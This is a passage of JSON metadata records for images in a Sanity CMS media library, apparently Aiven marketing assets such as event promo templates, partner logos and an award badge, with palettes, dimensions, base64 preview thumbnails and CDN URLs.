913nLYtU7R2naDdX2Jz9zwb2k5hdeYxKzpVcgq1fpLwkdtcX3rN0p0nLN5a4dHzz9xa/oox+wpBVCK0dRns3Fdid3CeHXvn2dpTwt93lp7+i7R0zWFzFzHbM5jtaVo6T1EqPeTJ/RVunj/HYrnMq2cv+PThG8+efkGwKBHqm5N0Bibx9c7SEZjB21rE3VTE0zyNY8MUVmcRi5pDdOQI9Jxh4ewN7l2+wKWCzrUTBd6t3OPHt4/8/P4ZoaIsu6NojUnqW7JoTTkUT4YaVyV5JG0S2XN8VVt0GPi3zTJXKFHO60zHxzmTz/Dgapn3T5f48vIuwtrqQSzKCDZnDFmLI2spZC2NrFXARVTvNKp3Csmdx+VJE+zNcjqeYnoiSio2jp5IUTCyzMxMMXf6JMIaMUQFuq5mGJM0RpUcw2KPI6o61bU5alxFrM4CtVqaSGCCx+kYb0pjXNaHGA2PEByZYCiaZDSW5kiiUAEOsE4Msd4aZr1tFJPtMCZpnCo5sXqCqBqYVYONDToLkSi/rsT4vXiY5eJeDuzoprN7D70HxggOxRkeSSOYqgdQpBBO5xiq5yjW2gmq5EoSWOyZv8AcjY0ZTg7pvC1l+VTWWYgHCbQ34/bU0drhY3t/hF2hBIK5+iAuJYS3LorWkMTmiv8DVhpaVGP1YUXL4t86ydHwLIWYwWD/PjY2eFEVGx6Pmy3+Hvr2jyKsFQcwW0OI0jAW5dDqhv8pOwxERx6LmkVy52jclMXnD9PR3kldnRu7XUK1SzQ3NbG9u48/pkl92kNXsAoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392d5f","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":11.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97a8c7","foreground":"#000","population":2.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5a87d","foreground":"#000","population":0.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7977","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de7028","foreground":"#fff","population":2.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event promo template with more info and image Color (2).png","path":"images/sczeoy4w/production/4632134f3f63013d23c2541368ba83967a54f81e-1200x628.png","sha1hash":"4632134f3f63013d23c2541368ba83967a54f81e","size":633747,"uploadId":"3rZfz80KBryy20abkVpw0gWMRxLdHrrr","url":"https://cdn.sanity.io/images/sczeoy4w/production/4632134f3f63013d23c2541368ba83967a54f81e-1200x628.png"} {"_createdAt":"2023-11-23T15:10:41Z","_id":"image-7aa24a8b7ad4dd6a03292edaaff757a60638f599-43x33-svg","_rev":"Arp4NzaYseKQ5hw9dgAVfY","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T15:10:41Z","assetId":"7aa24a8b7ad4dd6a03292edaaff757a60638f599","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V28XUrxu00fiIA00WA4TWBIU_4jZ.8kCt8ITaeIAof?c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.303030303030303,"height":33,"width":43},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACeUlEQVQ4jW2U3YtNURjG1xlmIsyEGIMawsiQGR8XknGrpHxlcPZ+1pzzrPXsQww3SrjwUZIbhVy4JFduJC5dkY8UUi79FfwDetdeZ2Zq7Hrbe6+139963+dZazvnnPOVHNqVQ5ArJQdqMaiDoJ6C+g3qL6g/oH6Bug9qF6heH73zQa7JTsqfucKZlgOrFJ5aCGoPqEegfiDoM4JegXoN6iuoL6BugdVIGarGZHvaIVTu1DnNAm2VOcBBUFdBfQf1FlRA0D5Q+0FdBPUO1AdQHkHL6py6u3lAH2XAMVDPQX0EJVArCnVcwdgAtRbUNVDfEPQAQcM+/BdYJagPavhQjfo66QaoHaAW+FD1tBRNp16wOgHqPagXCNpuuVOm4TzgTOnVAIJGQW0Ftd4M8NS4D1V/NqsJ6hOoZ6C21cV0zMhZYNm2dmO39QFQexG0G9QBUPdA3U1j1Dioh8ks6k6SIKQi5gOnTL8auArUMVDnQV0C9TiHGfUk6Ue9AXUY1KJkpgHbsYYZuRtlOxq8D0wtXwB1G9QkqClQL0H9zM63wWqwbGXtTa5ulTMwhrRSXaWtnFo8BGoDauetwpu5MttaPQU7rqRsB+T8kIDLQS0tGftKhh5QDQRZlUty2PNKMyAb1V+0gmvGjitC5Yp0UqIrGJyPNfAoqIlchVUznFu25HWgNuaTM5FNGkVbQ6BWg1pjB8HXdxsbMqC1UoGKWSuL7vPZvLmn85i9WxwHdTJ/A1AlqNOmtwEvgyry5BVQ10F18n4ziDkdMuBIhnWNsoUs3wz0YGwa0P4q1qKdCluFYDq7W7IM9mcZAbU5300Wm7OcnXl+DIwjYNz0D1xkhXtuvsuyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4442","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":2.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0b","foreground":"#fff","population":2.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267269","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bddd5","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6d","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfaf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Digital_ocean.svg","path":"images/sczeoy4w/production/7aa24a8b7ad4dd6a03292edaaff757a60638f599-43x33.svg","sha1hash":"7aa24a8b7ad4dd6a03292edaaff757a60638f599","size":4750,"uploadId":"wKhSZJ7zMGu286VOqJsDj78VzPi1XRXx","url":"https://cdn.sanity.io/images/sczeoy4w/production/7aa24a8b7ad4dd6a03292edaaff757a60638f599-43x33.svg"} {"_createdAt":"2023-10-26T10:05:32Z","_id":"image-9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375-png","_rev":"8gUM21kCR6Z8GhVq7iESvY","_type":"sanity.imageAsset","_updatedAt":"2023-10-26T10:05:32Z","assetId":"9f5a2db183e4e5bffcad8c3a9430a2a595343d0d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7B.vm10Q+}iF6~XFy+?BCnA0qxS-NkFAI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAAC3UlEQVQokW3Py1JaBwCAYV6gN1AkgBAuKgEUb+DJgdEQQLkpHkCQA2IQEKSCiiJq0dopLWllki666WTaTZpMpu1Ml53pI3TZPtDfydhlX+Cb/1eoHqQwWGSsjjIT0zXM9jpa8z5jD2toTJ+iMR9jm+8Ty/5O+fgv5N3XSEGZrD9MMbjNnRThrezlLFLA7R6g0BhzTC/UEVbaiP5zvE8vEf2f8dh/jWvpCpP9nBnhOcnCL1Sbf7C3+5JTucCXe1kGcow/Szb+qRp5lVwlIvZQaE0F3L5j1taviUlfsLH1NanckGTuBcHYAMdCj3nhhqL8DYflPkWpzlUhy7CR5zYT4reMg78zJn4NPqGwePa+UGZBbBGK94gkbokl+6ynn7OxdUdUGuLxfU5wuc3tfptho85BfJNaLEpDilMMSlys5fk5FOLHx2Gacy0UI7otHjl28HgqCEINUWwgii1E3xluX4/ZxQ6FcJ2fTpu86+4zkBOUVsOkA1HykWecZHu8KNZ5mS1x4L9AoRqTMBs3cFrXmZ7cxDWVxmXbxm7bxWBtYJo8JLPW4IfuKW+uj7mrFNiPJZACUeRokmauwlW1SqfcYiP8FYoPR5OMjG2i0SbQ6pLoxrPoDXl0xhJqQ50H5kO8yy2ODs7pHbXpZHN0w35yPg9PF2aJiAKJYIBwYJt54foeVKpTjGgzqPQySt0OSl2JkfEqo4YDNOYm08IR8e026XyTRlzi1ZqTvtdExjXBunuGuLiI1x3FNttFoVRLmPUpbJM7WB1VtJYyKn0Jlb7yH9jCtnjCcrxNYLPF3mqG18FZ3vrtdL0i+ZUnJFf8eD0Zplw396BJn2RqsvC/4NjDFsZHbRzCGXO+U0JLNZpCiraQJuPZY0WosOSp4JzrYHENUXwwmuQjdYqPNVt8os2h1L5ffoZKf7+sNrbQmE/QTXQYt11gsV3isF/idNxgc/axzgywuL7FPPMdZtf3/At9eJ8gp/dyVQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31201c","foreground":"#fff","population":8.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041d6c","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#31201c","foreground":"#fff","population":8.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19588","foreground":"#000","population":2.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b76d2","foreground":"#fff","population":3.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b604e","foreground":"#fff","population":1.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d76223","foreground":"#fff","population":7.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven-developer-workshops.png","path":"images/sczeoy4w/production/9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375.png","sha1hash":"9f5a2db183e4e5bffcad8c3a9430a2a595343d0d","size":7442891,"uploadId":"aAxvoyAZ2r1teNZlKrjRZDGCkuBDOxnH","url":"https://cdn.sanity.io/images/sczeoy4w/production/9f5a2db183e4e5bffcad8c3a9430a2a595343d0d-6000x3375.png"} {"_createdAt":"2023-10-26T13:13:56Z","_id":"image-ca42140968bb5d2a1ed8c668bbbe6f626e6aecc2-1200x628-png","_rev":"XUhAwzdXzERUfq0vkLwLdw","_type":"sanity.imageAsset","_updatedAt":"2023-10-26T13:13:56Z","assetId":"ca42140968bb5d2a1ed8c668bbbe6f626e6aecc2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEAJaa5y}SE-v}]wGK#PEzxGnONyVrR.ju","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACwklEQVQokR3OW09bBQDA8fMNjGIvDNpzCrSF0wtlp8ChZbS2eFp64XZW2q0OjqMr5epSwkVlizDoxuZoRsbDMDOL0ZBFH7YHUSfGLAuaGEx8MH6dvxlf4JefYLYXkLvKqJEqEe1TPkjeIqLdJpLYJJ6qMZi5z2D2IfFMnYFEnUDoPq3+HRT/59zoneQgGuNnzcdfQy280nwIjdJVuvuX0LIbZPUthnM1MvpdMvoumctfktb3SI7WSY3vkxo/IJZ+jBp7RLhvG0Mt8XAgwYsPFU6TTl4n29+CV87BRHaD9PgmI7ka2cv3GBq9RzxdQ41uEQh9QfBSjb7YA9TYHsGBOmrvHQrdZbb7MxzFeznRPBxrnQhWqYAarpAYqhKOLqOElrnYt0JAXUNW1hA7qlxoq9LsWkOUbyN5tnB4dwh0bZEPL3MrbnCYzPI8NciTxDCC6CySG11iZmoNNTyPRfoYsziNxTGDxTGHWVrE4qjS6PwMW8cdRM8uDu8DukP7fKQ/Zd14Ss14xN1ru6zm6wj2tiL6yBLlqXV6Q/OY7FO8e2GK95qmabBVzsHGtlVEeYfWwD4u5Qnu4FcokWfkjV+prv9DdfVvZhdPMcqvEcy2CbqUafojC/iUOZqdJUz265jFMmZxFrO0RJNrg5bOPVzBQ2T1G2T1O/z935Iu/EJl5V8qK/9xbf6MidIfCKZGHXfbFfz+aeTALGJ7GZuzTKs8j825gMXxCbb2TZwXD+joeYY3dIQ3/D2dl47Q9B8xFs8wFs7IXX/DcPE3hPetYzjtOp6OSVze8vlQdJVw+2aR3HNYW25il7dxBw/x9L2d/UDnwAt6Bl+Syr+iOPMn+dIp2asnaPoxwjvmMRqs45iaJjDZijQ0T2KyGVilEhapgsVxE9FTo73na3zh5+eYEjsmOnKCbryhcOOUscnfSeZ+Ipp9yf/LhIqqTDOXtQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404573","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bb5038","foreground":"#fff","population":8.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dadeed","foreground":"#000","population":4.52,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8694db","foreground":"#000","population":0.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5c7e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb5038","foreground":"#fff","population":8.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP DevRel Event social media post template (1200x628).png","path":"images/sczeoy4w/production/ca42140968bb5d2a1ed8c668bbbe6f626e6aecc2-1200x628.png","sha1hash":"ca42140968bb5d2a1ed8c668bbbe6f626e6aecc2","size":302868,"uploadId":"8hjDyQ20EhQABOm2njD6NKOsk9hYHsfa","url":"https://cdn.sanity.io/images/sczeoy4w/production/ca42140968bb5d2a1ed8c668bbbe6f626e6aecc2-1200x628.png"} {"_createdAt":"2023-11-22T10:19:06Z","_id":"image-e8cf76917a7d6f3e0fc249408ce8ecac1bbf6f27-1200x628-png","_rev":"00HkATqwml6aoQnrO16OX4","_type":"sanity.imageAsset","_updatedAt":"2023-11-22T10:20:40Z","altText":null,"assetId":"e8cf76917a7d6f3e0fc249408ce8ecac1bbf6f27","description":"Meta image for end of year campaign - APAC EMEA","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TE2P@5NF%Km.~WTIrWe?a1tkV[bIozX5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACXklEQVQokVWO20vTAQBGf85b6cx0U4oMbLp5m9e8pWilUFAPkZp5y9TEMHVKOTHL5mXOOTevGFi9hH9hYLrpft+J9VQPh/P0HT5DL9PRVDFabEILtcjrRt5y5C1FC060VAorNSjQjPy1aLUURRrRj6fo53P0rRPtVqEdNzqow1DfFTTnRisdyHcf+VqRrwWtNCHfXbTWAFvtaPcx2k2MH6Dvz9BJHzrpQccdaLsEBe+gUHEieBV5ytFyG/p8D31pQWvtaL0NrTah1XoItKDwQ7TTgfY70fETdPwI7TegYDHy30L+m2jNjqEXqWg0H71zoKlC5HGg9y7kTVCEvIWw6ECfXGjZhXxOFChDoQoUdBLfKOQi4CC+WYjWb2Co24L6M9HrHDRmQ+M2NGFDk3Y0nYembeDJRXN2zNls4nOZaMmONhzEt91EwzWcR2qJhSsxt4ow1JWEetPQQAYatqKRLDRmReNW9DYLTVph+hqazeFyxkrMk8HlxzwuAy5i4Rpikeq/RCPVmNsuDLPLQD3JqDcF9aWggWQ0aEHDFjRiQeMpaCYLLeRhenO5mM8htlxANFhBNFJHbKuM880SotuVmDtuDLMnBfPVdcwROxrJRkPpaMBAQwYaNtAbC/pgQ2tFaN2BuXKb+LqDy3A10d16TgNl/PKXchquI3bQhGH2pmGO5mNOFKDxfDScgQaT/gkmo3k7CpajcBUKOFHQhblXR2y/kbNQFb9D1ZzuNXN22IphdieRiKovHfWnon7L/w9Hk5DHivxOFK5EfgfadKGDesyjZuIJHzYQP2oh/rWVP1RlBUs0GVBEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b290d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a240c","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935705","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac67f","foreground":"#000","population":0.66,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.96,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"meta-eoy-calendar.png","path":"images/sczeoy4w/production/e8cf76917a7d6f3e0fc249408ce8ecac1bbf6f27-1200x628.png","sha1hash":"e8cf76917a7d6f3e0fc249408ce8ecac1bbf6f27","size":194145,"title":null,"uploadId":"L9851w1CMQOUn6hdiLfLMXRPQiAFiB0h","url":"https://cdn.sanity.io/images/sczeoy4w/production/e8cf76917a7d6f3e0fc249408ce8ecac1bbf6f27-1200x628.png"} {"_createdAt":"2023-10-19T06:54:10Z","_id":"image-23e011843a641ebbc87765578857c6f95ce45604-1200x628-png","_rev":"97ScSe1K9UIWVy4zLcwllf","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:54:10Z","assetId":"23e011843a641ebbc87765578857c6f95ce45604","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M58X6eKFMa#P0k~VOuRis7ER0L$ckCNg=?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACiUlEQVQokUXS2U4aARTGcZ7ApHVlmAEZlhkdEISq4NYK1AoosijupkGt1tq4oAiKLKJGWrfYXvQ92vf7N86NVyc5J/nlfDnH8MaYxdabwzv0nXcjhwyMnhD4cMbwRIXhUJ3h0BXB0A3+sWscnhqiUsGsVlDcedx9myjaBmblAMFRwmgvYWgTF3H5v/J+8pRI/ILJmTrR5DXxdJN4+o5o6oFo6olQ/AFP8IZurYrbd8pK4oDC6jbzH7NofctIyiEmR/kVDE2ViCZrTGeuScw1SWbvmJ1/YHrukdnsL2bmfzMSeUD11QiHj3nKn/G3cU55dZGRwRiytoOk1l/BcPRMB6PJhr7hdOYHibl7ZuaemJl/Jpp+Jhi6o8dfIx495U+hzL9qkfraMpGxJIrnGxbtFkOHeQnv0B6R2DlTiSqReJVw7JJPiRtiqZ86OJV8JBi6RfVdYnVVGB4rcbR+zNPOLoeLnwmHt3H2F7FoTQytwgK23g08g3v0B/bxDB3iDZzQHyziH7lgcLyOf/QSpb+CpJzrR1G8VcITJZam90nF8gTGK8juGpLawNDSkaFNyNJlWcFoXcdozSHYviA6dpGc+1jUPLKriOw610FJreL03uANNhkabTAw2sA9eIWtr67PDG860ohCBqu8gtmZwyjnMFq3sKh7yNoRNleBHl8ZbaCGVXt5mSqK7xZP4B5PsKljqq+O7LpAVMoY3nakkMU0qrKGXdtCtG9ism9j0/ZRPCeo3qIOvkS29JT1yN29DWTXFd3aS+8MSSkiOIoIzgsMLe1pWjsztJsWaJdWaBXXaZNydHZvY5T3MNkPEOx5BHsBwV7C5KwgKnW9dtlO6ZSP6ZTzdNkKmJQq/wEtNHQI2eU3hwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293050","foreground":"#fff","population":0.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":10.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":10.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b7ca","foreground":"#000","population":9.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b83c4","foreground":"#fff","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f6988","foreground":"#fff","population":3.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2685","foreground":"#fff","population":9.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Quote case social media image template with photo _ Dark blue (2).png","path":"images/sczeoy4w/production/23e011843a641ebbc87765578857c6f95ce45604-1200x628.png","sha1hash":"23e011843a641ebbc87765578857c6f95ce45604","size":303951,"uploadId":"5LfLT04N8KCB4m3PpJcH0JHHw7OKB07n","url":"https://cdn.sanity.io/images/sczeoy4w/production/23e011843a641ebbc87765578857c6f95ce45604-1200x628.png"} {"_createdAt":"2023-10-19T06:08:25Z","_id":"image-b222ed1c27f9788426368da314eb62f9c1634c23-3220x829-png","_rev":"97ScSe1K9UIWVy4zLcvIHp","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:08:25Z","assetId":"b222ed1c27f9788426368da314eb62f9c1634c23","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DO8FDzqsYRrBXUERVXo~V@nh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.884197828709288,"height":829,"width":3220},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAC4jAAAuIwF4pT92AAABJUlEQVQYlWWNTStEARSGLykNKdI0i7l3RkykTBlKMsowiTQmFuOjfCTxPsfSQlbKwsJKFkqR7MzMnf9g5Q8Qc+ff6A5JLJ7ec07nPMfBcIScZpq+avjpw/wBnPzlg5MsvznxWqPV9YOY6wd51w/2XT9Y86r1qVDQ8vfo3+zXs7ts3LmZTTnTV5WWvqfXaKLyPulVP5a8ar3k+kEpXPZk6sXoaAI9MsUwumWKyNQuUydGr1CXjDYZEVB04+TMW7i47U/fPw961fqi6wcHoXBRphwwjjGKkQXmMCYxMjJlMCYwchhjoJiMBGgGNH90uD9WOL9OJctvU64fFEJhEWMH2MJYxljBWP9mU2gbYy9EqCgjDRqRsSpjF7SwfXw6NPz44sVrjYFPzmCQMVBrOn8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#046c78","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#21a8d0","foreground":"#fff","population":3.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#146a84","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cd6ec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5889a5","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21a8d0","foreground":"#fff","population":3.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Logo_Netfonds AG_Standard.png","path":"images/sczeoy4w/production/b222ed1c27f9788426368da314eb62f9c1634c23-3220x829.png","sha1hash":"b222ed1c27f9788426368da314eb62f9c1634c23","size":73311,"uploadId":"OS1FmxQ3SqH9mXHUVQlt3QKno6Qt6z5z","url":"https://cdn.sanity.io/images/sczeoy4w/production/b222ed1c27f9788426368da314eb62f9c1634c23-3220x829.png"} {"_createdAt":"2023-11-01T13:16:52Z","_id":"image-c4082354c16b8456985efe1cc96db4b3db3bafdb-504x747-png","_rev":"gpV4rQ1RP6Oi5x5QrLOorf","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T13:16:52Z","assetId":"c4082354c16b8456985efe1cc96db4b3db3bafdb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dIS6Plxuadxu~qj[?bofM{f74nWB_3j[-;j[4mayIUWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6746987951807228,"height":747,"width":504},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD20lEQVRIiZWWu29jVRDGFxCiAQmJhoYKISQqKgoKaipqCsQ/QE2HaCkQBQ0VDQUtNVV281htErLJbuJHso7t2LFjX9vxfdm+9n3MD82xz81NnEXLSKPzmvP5m8eZ6wfAARCwFFnpq4oU7BXj4AHgAomIObPCK6qsLilgolgKyHJ9c5L/uFi9Q6tgJgUCKg9yTssNM8lEUF1i/TdDlQKwrABv2Cep4E8zAj9iEXpMJh6e7zENfMIgJAhDJpMJsygiTdPcsRzQurACZJ4IvXFCrz0kuKzRuazTqDcZtFr0u13alx06nS6j0TWLxSIPQe6yjaEFTDIhmGUEbshs7DAcDXD6I8LrMYHncT0eMx6PCcOJZcga4E2gV3FTgywjy1LSNDOaZetqQaSQpBzQgv3fUpRiYdwGvDm0LJXFIo6ZzSKi+ZwkSdYyfb/LLznMMjEZHQyHXF+PiaJojZHcx7AIEscxrusyHrtMp1N836fvOAyHQ8IwZD6fm+yqnXqgcrewb234QcBJqcze/j5Hz55TKpc5Pjnh+KREpVKlVCpTKldM6cznLymbogRBQLV6ypPdPTYebfL4yS4HTw/Z2//H7D3c3GJre4dGo8liEeeAdswZ2gS4rkf36opWq0319JTzesOsLzsd6o0mleop5+d1RqORiWm8cn3N5dlsRqvd5vnxCeVKlbOzFxweHRnVdaPZpHZe5+mh7j0zoahUq+aH9BlanDwpvh8YI3VLDU/Pztjd2zfube08NnE7r9eN6xsPHxnd3N7hRa1myOSAdqLZcwYDrno9PN836jiOcde+Xc2yllC7fUnz4sJ45LrurSdoAO3CPik10CKOk2Q5xrEZdd+e2bXcqWF1Oe9pthVpsLUOldVwNDKqTUETpgXuel7eaVSK/c/0w0KzNs1VC9pxBnS6mt2uGXu9Pr2+Y9Y66nMs9EEsMcOwyFLHNE1FY6rZ04ArY13rOJlOzZ7aFO9QAMzugOaqqzSDOF2qzm24bEuSAph1uQ1Edz4N5nwei/S9TJqDjNYww/EzieL8bnECMAc6yvAnEdlefU6zIvBsIdIaZVQ6qVS7qZlP57eBZCn6Td4FflHAD4Gvgd+BsohMrHGSikwiEXcq4k2FMDIfsbwoRCQCasCfwLfAxwqo+g7wqYh8JyJ/ARcisijUWB6Glegfgx7wN/A98BnwLvCaBVR9HXgP5AsR+RHYAAarfwRWNIGeiOwDP4vIlyLyPvCGxSkCGhWRN4EPROQrEflVRA5FJFT3RKQmIn+IyDfARyLy1upOfn8NsKBq/AnwA1DVDAK/AZ8Db993R4H/BQUt6Rt+CRGpAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a42c3c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3e2fb","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a25c60","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c7ce4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GC_2023_PartneroftheYear_Breakthrough_EMEA.png","path":"images/sczeoy4w/production/c4082354c16b8456985efe1cc96db4b3db3bafdb-504x747.png","sha1hash":"c4082354c16b8456985efe1cc96db4b3db3bafdb","size":20521,"uploadId":"Uwvz96ZfVZCPcpgeIoF7x5dqHrFeibiN","url":"https://cdn.sanity.io/images/sczeoy4w/production/c4082354c16b8456985efe1cc96db4b3db3bafdb-504x747.png"} 